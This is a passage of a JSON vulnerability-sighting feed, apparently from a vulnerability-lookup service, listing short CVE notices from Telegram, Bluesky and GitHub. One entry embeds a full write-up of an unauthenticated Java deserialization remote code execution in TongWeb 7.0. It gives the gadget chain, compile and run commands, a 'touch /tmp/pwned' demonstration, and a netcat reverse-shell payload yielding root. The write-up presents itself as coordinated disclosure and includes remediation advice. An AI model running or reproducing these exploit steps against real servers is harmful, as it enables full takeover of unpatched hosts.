"2024-02-28T17:47:07.000000Z"}, {"uuid": "40407990-5cac-4a9d-9a5c-4b36e842996f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000236", "type": "seen", "source": "https://t.me/ctinow/192035", "content": "https://ift.tt/O53kGUY\nCVE-2016-1000236 | Node-cookie-signature up to 1.0.5 Comparison race condition", "creation_timestamp": "2024-02-23T18:51:58.000000Z"}, {"uuid": "9ecdec75-bae5-49ed-9e5f-45e48c0e7c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000006", "type": "seen", "source": "https://t.me/ctinow/191972", "content": "https://ift.tt/FVR6CqX\nCVE-2016-1000006 | HHVM up to 3.12.10 __construct use after free", "creation_timestamp": "2024-02-23T17:46:40.000000Z"}, {"uuid": "b60b0361-61a2-459d-9b6b-b3fec966764d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000037", "type": "seen", "source": "https://t.me/ctinow/179076", "content": "https://ift.tt/f1lwsjM\nCVE-2016-1000037 | Pagure Attachment Endpoint cross site scripting (Nessus ID 93086 / ID 867773)", "creation_timestamp": "2024-02-05T09:41:36.000000Z"}, {"uuid": "2b30b81b-0a0a-438c-b1d8-0bbc66ee1cd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000002", "type": "seen", "source": "https://t.me/ctinow/178732", "content": "https://ift.tt/heAr7uZ\nCVE-2016-1000002 | gdm3 up to 3.14.1 Screen Lock information disclosure", "creation_timestamp": "2024-02-04T09:16:19.000000Z"}, {"uuid": "31e6cf9d-3d74-4834-a1f2-1ce1479b35d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000031", "type": "seen", "source": "https://t.me/ctinow/165073", "content": "https://ift.tt/6nrJDtz\nCVE-2016-1000031 | Oracle SOA Suite 12.2.1.3.0 Apache Commons FileUpload access control (BID-93604)", "creation_timestamp": "2024-01-09T15:46:57.000000Z"}, {"uuid": "b723421c-9fc2-44ac-aa45-f27e7caccb83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000031", "type": "seen", "source": "https://t.me/ctinow/165026", "content": "https://ift.tt/gs48U3M\nCVE-2016-1000031 | Oracle Virtual Directory 11.1.1.9.0 Apache Commons FileUpload access control (BID-93604)", "creation_timestamp": "2024-01-09T14:46:39.000000Z"}, {"uuid": "43afce1c-ec0b-4c7a-96e7-10539d7d3392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000271", "type": "seen", "source": "https://t.me/cibsecurity/2381", "content": "ATENTION\u203c New - CVE-2016-1000271\n\nJoomla extension DT Register version before 3.1.12 (Joomla 3.x) / 2.8.18 (Joomla 2.5) contains an SQL injection in \"/index.php?controller=calendar&format=raw&cat[0]=SQLi&task=events\". This attack appears to be exploitable if the attacker can reach the web server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-02-05T00:21:23.000000Z"}, {"uuid": "3df7c0ee-5eec-4749-afb4-804c8849fbec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000276", "type": "seen", "source": "https://t.me/cibsecurity/2380", "content": "ATENTION\u203c New - CVE-2016-1000276\n\nAudacity version 2.1.2 is vulnerable to DLL Hijack, it tries to load avformat-55.dll without supplying the absolute path, thus relying upon the presence of such DLL on the system directory. This behavior results in an exploitable DLL Hijack vulnerability, even if the SafeDllSerchMode flag is enabled.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-02-05T00:21:22.000000Z"}, {"uuid": "21b42ce2-a642-40c5-8c1f-15b1834199ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000282", "type": "seen", "source": "https://t.me/cibsecurity/2401", "content": "ATENTION\u203c New - CVE-2016-1000282\n\nHaraka version 2.8.8 and earlier comes with a plugin for processing attachments for zip files. Versions 2.8.8 and earlier can be vulnerable to command injection.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-02-05T20:22:28.000000Z"}, {"uuid": "c59d662d-075d-4128-ad3c-4ef5ef84d0ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000029", "type": "seen", "source": "https://t.me/cibsecurity/8880", "content": "ATENTION\u203c New - CVE-2016-1000029\n\nTenable Nessus before 6.8 has a stored XSS issue that requires admin-level authentication to the Nessus UI, and would potentially impact other admins (Tenable IDs 5218 and 5269).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-12-27T18:40:09.000000Z"}, {"uuid": "061cb6b3-441d-4ddc-b120-73bd3456d9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000028", "type": "seen", "source": "https://t.me/cibsecurity/8881", "content": "ATENTION\u203c New - CVE-2016-1000028\n\nTenable Nessus before 6.8 has a stored XSS issue that requires admin-level authentication to the Nessus UI, and would only potentially impact other admins. (Tenable ID 5198).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2019-12-27T18:40:10.000000Z"}, {"uuid": "96b0a14d-a3e3-4e35-b46b-130b9ee5ed32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000111", "type": "seen", "source": "https://t.me/cibsecurity/10461", "content": "ATENTION\u203c New - CVE-2016-1000111\n\nTwisted before 16.3.1 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect CGI applications from the presence of untrusted client data in the HTTP_PROXY environment variable, which might allow remote attackers to redirect a CGI application's outbound HTTP traffic to an arbitrary proxy server via a crafted Proxy header in an HTTP request, aka an \"httpoxy\" issue.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2020-03-11T23:32:08.000000Z"}, {"uuid": "2f7dddb4-bd8a-41a0-8029-0faa4a48d0b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "\ud83d\udd17 CVE : CVE-2016-1000027, CVE-2024-12798, CVE-2026-23949, CVE-2026-24049, CVE-2026-27140, CVE-2026-32280, CVE-2026-32281, CVE-2026-32282, CVE-2026-32283, CVE-2026-32285, CVE-2026-32288, CVE-2026-32289, CVE-2026-33810, CVE-2026-34040, CVE-2026-39883", "creation_timestamp": "2026-05-06T14:30:22.332896Z"}, {"uuid": "108ac59c-ac9e-42c0-8906-b905aa17f897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000226", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-7f59-x49p-v8mq", "content": "", "creation_timestamp": "2020-09-01T15:28:45.000000Z"}, {"uuid": "7dd3d347-6937-447c-bcf5-13a21d2d36d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2016-1000249", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-2r7f-4h2c-5x73", "content": "", "creation_timestamp": "2020-09-01T16:38:33.000000Z"}, {"uuid": "083ba220-2a0d-4833-8718-bee76bf585d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://gist.github.com/loseyourself1/b3de4edf11994bb0a791e5f73bab421b", "content": "# TongWeb 7.0 \u2014 Unauthenticated Remote Code Execution via Java Deserialization\n\n> **CVE submission write-up & Proof of Concept**\n> *CWE-502: Deserialization of Untrusted Data*\n\n---\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|---|---|\n| **Title** | TongWeb 7.0 Unauthenticated Remote Code Execution via Java Deserialization (`HttpInvokerServiceExporter`) |\n| **Product** | TongWeb Application Server |\n| **Vendor** | TongTech (Beijing Tong Tech Co., Ltd.) \u2014 \u4e1c\u65b9\u901a |\n| **Affected Version** | TongWeb 7.0 (confirmed on build **7.0.24**; other 7.0.x builds are likely affected) |\n| **Vulnerability Type** | CWE-502: Deserialization of Untrusted Data |\n| **Impact** | Remote Code Execution (RCE) |\n| **Authentication Required** | **None** |\n| **Attack Vector** | Network (administration port, default TCP **9060**) |\n| **Attack Complexity** | Low |\n| **User Interaction** | None |\n| **Privileges Required** | None |\n| **CVSS v3.1 Base Score** | **9.8 (Critical)** |\n| **CVSS v3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n\n---\n\n## 2. Description\n\nTongWeb 7.0 ships a Spring `HttpInvokerServiceExporter` endpoint exposed at\n`/console/service` and `/heimdall/service` on the administration port (default **9060**).\nThis endpoint deserializes a Java object directly from the HTTP request body via\n`ObjectInputStream.readObject()`, with **no authentication** and **no input validation**.\n\nAn unauthenticated, remote attacker can send a crafted serialized Java object to this\nendpoint and achieve **arbitrary operating-system command execution** running with the\nprivileges of the TongWeb process \u2014 typically **root**, because the administration server\nis normally started by the system account.\n\nThe vulnerability is reachable with a **single HTTP POST request** and requires no user\ninteraction.\n\n---\n\n## 3. Affected Endpoints\n\n| Endpoint | Web Application | Authentication |\n|---|---|---|\n| `POST /console/service` | `console` (management console) | **None** |\n| `POST /heimdall/service` | `heimdall` (cluster management) | **None** |\n\nBoth endpoints are explicitly excluded from authentication in `web.xml` via the\n`none-realm-resources` security constraint (see \u00a74.2). The `LoginFilter` only intercepts\n`/rest/*` and does not protect `/service`.\n\n---\n\n## 4. Root Cause Analysis\n\n### 4.1 Vulnerable Spring configuration (the *source*)\n\nFile: `applications/console/WEB-INF/classes/service-remotecall.xml`\n\n```xml\n\n    \n        \n    \n    \n\n\n\n    \n        \n            \n        \n    \n\n```\n\n`HttpInvokerServiceExporter` is Spring's HTTP remote-invocation exporter. Its\n`handleRequest()` method reads the raw HTTP request body into an `ObjectInputStream` and\ncalls `readObject()` \u2014 **before any type check is performed**:\n\n```java\n// org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter\npublic void handleRequest(HttpServletRequest request, HttpServletResponse response) {\n    RemoteInvocation invocation = readRemoteInvocation(request);   // \u2190 deserialization\n    RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());\n    writeRemoteInvocationResult(request, response, result);\n}\n\nprotected RemoteInvocation readRemoteInvocation(HttpServletRequest request) {\n    InputStream is = request.getInputStream();\n    ObjectInputStream ois = createObjectInputStream(is);   // new ObjectInputStream(body)\n    return doReadRemoteInvocation(ois);                    // ois.readObject()\n}\n```\n\nEven if the deserialized object is not a valid `RemoteInvocation`, the malicious code has\nalready executed during `readObject()`.\n\n### 4.2 Authentication bypass\n\nFile: `applications/console/WEB-INF/web.xml`\n\n```xml\n\n    \n        none-realm-resources\n        /service\n        \n    \n    \n\n```\n\nThe `/service` path is listed under `none-realm-resources` with **no** `auth-constraint`,\nso the endpoint is reachable without any credentials.\n\n### 4.3 The gadget chain (*the exploit path*)\n\nThe application classpath bundles `commons-beanutils-1.8.0.jar` (in\n`console/WEB-INF/consolejars/`), which enables the **CommonsBeanutils1 (CB1)** gadget\nchain. The chain avoids `InvokerTransformer` entirely (see \u00a74.4) and terminates in\narbitrary bytecode loading through JDK's built-in `TemplatesImpl`:\n\n```\nPriorityQueue.readObject()                          [Java standard library]\n  \u2514\u2500 PriorityQueue.heapify()\n       \u2514\u2500 PriorityQueue.siftDown()\n            \u2514\u2500 BeanComparator.compare(o1, o2)       [commons-beanutils 1.8.0]\n                 \u2514\u2500 PropertyUtils.getProperty(o1, \"outputProperties\")\n                      \u2514\u2500 TemplatesImpl.getOutputProperties()   [JDK built-in]\n                           \u2514\u2500 TemplatesImpl.newTransformer()\n                                \u2514\u2500 TemplatesImpl.getTransletInstance()\n                                     \u2514\u2500 TemplatesImpl.defineTransletClasses()\n                                          \u2514\u2500 ClassLoader.defineClass(evil bytecode)\n                                               \u2514\u2500 Evil.()  (static initializer)\n                                                    \u2514\u2500 Runtime.getRuntime().exec(cmd)  \u2192 RCE\n```\n\nThe payload is a `PriorityQueue` whose comparator is a\n`BeanComparator(\"outputProperties\", String.CASE_INSENSITIVE_ORDER)` and whose elements are\ntwo `TemplatesImpl` objects carrying attacker-controlled bytecode in their `_bytecodes`\nfield. When deserialized:\n\n1. `PriorityQueue.readObject()` rebuilds its heap and calls `comparator.compare()`.\n2. `BeanComparator` reflectively calls `getOutputProperties()` on the `TemplatesImpl`.\n3. `TemplatesImpl` compiles/loads the attacker bytecode via `defineClass`.\n4. The injected class's `static {}` initializer runs and calls\n   `Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", cmd})`.\n\n### 4.4 Why CommonsCollections chains (CC1\u2013CC7) do **not** work\n\nAlthough `commons-collections-3.2.1.jar` is present, the bundled copy has been **patched**\nto disable deserialization of `InvokerTransformer`:\n\n```\nHTTP Status 500 - java.lang.UnsupportedOperationException:\n    Deserialization of InvokerTransformer is disabled\n```\n\n```java\n// InvokerTransformer.readObject() (patched)\nprivate void readObject(ObjectInputStream is) {\n    throw new UnsupportedOperationException(\"Deserialization of InvokerTransformer is disabled\");\n}\n```\n\nAll classic CommonsCollections chains depend on `InvokerTransformer`, so they are not\nviable on this target. The CB1 chain bypasses this restriction by using `BeanComparator`\n(property-based reflection) and `TemplatesImpl` (bytecode loading) instead.\n\n---\n\n## 5. Impact\n\nAn unauthenticated attacker with network reachability to the TongWeb administration port\ncan:\n\n- Execute arbitrary operating-system commands (as **root** in typical deployments);\n- Read, write, and delete arbitrary files on the server;\n- Exfiltrate sensitive data and credentials;\n- Deploy backdoors, web shells, malware, or ransomware;\n- Pivot into the internal network.\n\nNo authentication, no user interaction, and no special conditions are required \u2014 the full\ncompromise is achieved with a single HTTP request.\n\n---\n\n## 6. Proof of Concept\n\n### 6.1 Prerequisites\n\n| Item | Requirement |\n|---|---|\n| JDK | **JDK 8** (payload must be generated/compiled with JDK 8 \u2014 higher versions produce `serialVersionUID`-incompatible objects) |\n| Dependencies | `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` (obtainable from Maven Central, or copied from the TongWeb `console/WEB-INF/consolejars/` directory) |\n| Target OS | Linux (the reference payload uses `/bin/sh`; Alpine Linux is supported) |\n\n### 6.2 Reproduction environment (Docker)\n\nA minimal vulnerable environment is provided in `docker/`:\n\n```bash\n# Build (place the TongWeb 7.0 installation directory next to the Dockerfile first)\ncd docker\ndocker build -t tongweb-vuln .\ndocker run -d -p 9060:9060 --name tongweb tongweb-vuln\ndocker exec -d tongweb sh -c \"/myapp/TongWeb7.0/bin/startserver.sh\"\n```\n\nReference environment: Alpine Linux 3.9, OpenJDK 1.8.0_212, TongWeb 7.0 (build 7.0.24).\n\n### 6.3 Step 1 \u2014 Compile the exploit\n\n```bash\n# Linux / macOS\njavac -encoding UTF-8 -XDignore.symbol.file \\\n    -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar\" \\\n    TongWebExp.java\n```\n\n```cmd\n:: Windows\n\"C:\\Program Files\\java\\jdk-1.8\\bin\\javac\" -encoding UTF-8 -XDignore.symbol.file ^\n    -cp \"commons-beanutils-1.8.0.jar;commons-collections-3.2.1.jar;commons-logging-1.1.3.jar\" ^\n    TongWebExp.java\n```\n\n### 6.4 Step 2 \u2014 Confirm the deserialization endpoint (non-destructive)\n\nSend 4 bytes of garbage (`test`) to the endpoint. If it is deserializing the request body,\nit responds with a serialization error whose message contains the hex of \"test\":\n\n```bash\ncurl -v -X POST http://:9060/console/service \\\n     -H \"Content-Type: application/x-java-serialized-object\" \\\n     -d \"test\"\n```\n\nExpected response:\n\n```\nHTTP Status 500 - invalid stream header: 74657374\njava.io.StreamCorruptedException: invalid stream header: 74657374\n    java.io.ObjectInputStream.readStreamHeader(...)\n    org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(...)\n```\n\n`74657374` is the hex of `test`. This proves the server is running `readObject()` on the\nrequest body. A batch, non-destructive detector is provided (`tongweb_poc.py`), as is a\nJRMP-based out-of-band confirmation tool (`TongWebVerify.java`) that makes the target\ninitiate a TCP connection back to a listener, proving deserialization fires.\n\n### 6.5 Step 3 \u2014 Execute a command\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"touch /tmp/pwned\"\n```\n\nExpected output:\n\n```\n[*] cmd: touch /tmp/pwned  payload: 1425 bytes\n[*] http://:9060/console/service => HTTP 500 (500=normal, command executed)\n[*] http://:9060/heimdall/service => HTTP 500\n```\n\n> **Note on the HTTP 500 response.** A `500` is **expected** and indicates success. The\n> command runs during the class-loading stage of deserialization; the subsequent exception\n> is thrown only because the injected class is not a valid XSLT translet. The command has\n> already executed by that point.\n\n### 6.6 Step 4 \u2014 Verify execution\n\n```bash\ndocker exec  sh -c \"ls -la /tmp/pwned\"\n# -rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/pwned\n```\n\n### 6.7 Step 5 \u2014 Reverse shell (optional)\n\nStart a listener on the attacker machine:\n\n```bash\nnc -lvp 4444\n```\n\nSend the reverse-shell payload (Alpine/busybox `nc` uses `-e`; `/dev/tcp` is not\navailable under `ash`):\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"nc  4444 -e /bin/sh\"\n```\n\nThe listener receives a shell:\n\n```\nconnect to [] from [] ...\nid\nuid=0(root) gid=0(root)\n```\n\n### 6.8 Verified results\n\n```\n$ java ... TongWebExp http://127.0.0.1:9060 \"touch /tmp/lzt\"\n[*] cmd: touch /tmp/lzt  payload: 1425 bytes\n[*] http://127.0.0.1:9060/console/service => HTTP 500\n\n$ docker exec  sh -c \"ls -la /tmp/lzt\"\n-rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/lzt\n```\n\n---\n\n## 7. Files to Upload\n\nThe following is the complete, minimal PoC package for the submission. Upload the\n**source files** and the Docker environment \u2014 do **not** upload compiled `.class` files,\nbinary payloads (`.bin`), or third-party JARs.\n\n### 7.1 Upload these files\n\n| # | File | Purpose |\n|---|---|---|\n| 1 | `README.md` | This write-up (the CVE submission document) |\n| 2 | `TongWebExp.java` | **Main exploit** \u2014 self-contained CB1-NoCC exploit (hand-crafted bytecode, no javassist dependency) |\n| 3 | `TongWebVerify.java` | Out-of-band deserialization confirmation via JRMP client (target connects back) |\n| 4 | `tongweb_poc.py` | Batch, non-destructive detector (sends `test`, checks for `invalid stream header`) |\n| 5 | `tongweb_rce.bat` | Interactive Windows helper (menu-driven command execution / reverse shell) |\n| 6 | `docker/Dockerfile` | Vulnerable reproduction environment |\n| 7 | `docker/README.md` | Environment setup instructions |\n\n### 7.2 Optional supplementary files (for reference)\n\n| File | Purpose |\n|---|---|\n| `GenCB1.java` | Standalone CB1 payload generator used during development |\n| `GenCC6.java` | CommonsCollections6 generator \u2014 **superseded** (fails on the patched target; provided only to document the CC-chain bypass research) |\n\n### 7.3 Do **not** upload\n\n| Item | Reason |\n|---|---|\n| `*.class` files | Compiled artifacts \u2014 the `.java` sources are sufficient |\n| `cb1.bin`, `cc6.bin` | Binary serialized payloads \u2014 regenerated from source |\n| `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` | Third-party Apache Commons libraries \u2014 available on Maven Central; bundling adds licensing/legal surface |\n| `tongweb_exploit.py` | Uses the CC6/`InvokerTransformer` chain, which is blocked on this target \u2014 superseded by `TongWebExp.java` |\n| Any file containing real production IPs / hostnames | Not part of this CVE; leaking live targets is inappropriate |\n\n> **Before uploading `tongweb_rce.bat`**, replace the hard-coded local paths (e.g.\n> `E:\\claudecode1\\...` and the WeChat-file source path) with relative/generic paths so the\n> script does not disclose the researcher's local environment.\n\n### 7.4 Dependency note\n\nThe three dependency JARs are **not** bundled. A reproducer obtains them by either:\n\n- Downloading from Maven Central:\n  - `commons-beanutils:commons-beanutils:1.8.0`\n  - `commons-collections:commons-collections:3.2.1`\n  - `commons-logging:commons-logging:1.1.3`\n- Copying them from the TongWeb installation at\n  `applications/console/WEB-INF/consolejars/`.\n\n---\n\n## 8. Remediation Recommendations\n\n1. **Remove or disable** the `/service` endpoint if remote invocation is not required.\n2. **Require authentication** by removing `/service` from `none-realm-resources` and\n   adding an `auth-constraint` to the security constraint.\n3. **Replace `HttpInvokerServiceExporter`** \u2014 Spring deprecated this class due to\n   inherent deserialization risk (see [Spring CVE-2016-1000027]).\n4. **Apply a deserialization filter** via `ObjectInputFilter` (JEP 290) to whitelist\n   acceptable classes.\n5. **Restrict network access** to the administration port (9060) with firewall/network\n   policies.\n6. **Upgrade** to a patched TongWeb release when available.\n\n---\n\n## 9. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04 | Vulnerability discovered during an authorized security assessment |\n| 2026-04 | Proof of concept developed and verified against a Docker reproduction environment |\n| TBD | Vendor (TongTech) notification |\n| TBD | CVE ID assigned |\n| TBD | Coordinated public disclosure |\n\n---\n\n## 10. References\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Spring Framework CVE-2016-1000027](https://spring.io/blog/2022/05/11/spring-framework-5-3-20-and-4-3-31-available-now)\n- [ysoserial \u2014 Java Deserialization Exploitation](https://github.com/frohoff/ysoserial)\n- [CommonsBeanutils1 Gadget Chain](https://blog.rubiya.kr/index.php/2019/01/09/commons-beanutils/)\n- [JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290)\n\n---\n\n## 11. Disclaimer\n\nThis vulnerability was discovered and documented during an **authorized security\nassessment**. The proof of concept is provided solely for defensive, educational, and\ncoordinated-disclosure purposes. Unauthorized access to computer systems is illegal; use\nthis material only against systems you own or are explicitly authorized to test.\n", "creation_timestamp": "2026-08-21T14:08:36.686075Z"}, {"uuid": "cc3af507-c608-4b6c-afca-74c4ab2ebe0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "Telegram/_w9LS50iqt2aOaRWxSi53z8A-lB8yfUqfbsO98TnpC1cgCU", "content": "", "creation_timestamp": "2026-07-21T02:00:05.693427Z"}, {"uuid": "cc082d8e-1d64-47f4-ad04-f3e1ef78c919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-10009", "type": "seen", "source": "Telegram/_w9LS50iqt2aOaRWxSi53z8A-lB8yfUqfbsO98TnpC1cgCU", "content": "", "creation_timestamp": "2026-07-22T00:00:34.096798Z"}]}